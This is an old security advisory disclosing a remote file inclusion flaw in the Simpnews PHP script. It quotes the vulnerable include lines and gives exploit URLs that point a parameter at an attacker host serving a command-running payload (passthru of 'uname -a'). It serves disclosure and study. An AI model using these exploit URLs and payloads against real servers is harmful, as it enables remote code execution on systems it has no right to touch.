original File name : PUPET-simpnews.txt
date releases      : july 15, 2003

Informations :
=========================
Advisory Name: Simpnews include file Vulnerability
Author: PUPET <pupet@cosmo.com>
Discover by: PUPET <pupet@cosmo.com>
Website vendor : http://www.boesch-it.de/
Versions : tested on V2.01  -> V2.13 
Problem : Include file


PHP Code/Location :
=========================

/eventscroller.php :
---------------------------
...
require_once($path_simpnews.'/config.php');
require_once($path_simpnews.'/functions.php');
if(!isset($category))
	$category=0;
if(!isset($lang) || !$lang)

...
--------------------------


/eventcal2.php :
---------------------------
...
if(!isset($lastvisitdate))
	$lastvisitdate=0;
require_once($path_simpnews.'/config.php');
require_once($path_simpnews.'/functions.php');
include_once($path_simpnews.'/includes/has_entries.inc');
...
---------------------------

Exploits :
===============
http://[target]/eventcal2.php.php?path_simpnews=http://[attacker]/
with
http://[attacker]/config.php
http://[attacker]/functions.php
http://[attacker]/includes/has_entries.inc
or 
http://[target]/eventscroller.php?path_simpnews=http://[attacker]/
with
http://[attacker]/config.php
http://[attacker]/functions.php

Example for config.php on http://[attacker]/
==================
<? passthru("uname -a"); ?> 

Vendor Response:
==============
Not contacted yet

Patch :
=============
will post soon at http://www.cracxer.or.id .

reference :
=============
http://www.pupet.net/cracxerfiles

==============

This bugs Discover by : PUPET members of cracxer.or.id sub-devision security focus (www.cracxer.or.id)

Thanks to :
============
kaka-joe , pak-tani, Bewok , AxAL , ^BuBuR^aYaM^ , Ernesto_che_guevarra , Babah, Idon 
Schatje , juventini , Headup , Quervo , kecap , notts , Kemo (candyman) and all crew #cracxer, #dhegleng, #minangcrew, #indocracker at @dalnet

By :
============
PUPET (no more mr nice guy)


_____________________________________________________________
Get email for your site ---> http://mail.cosmo.com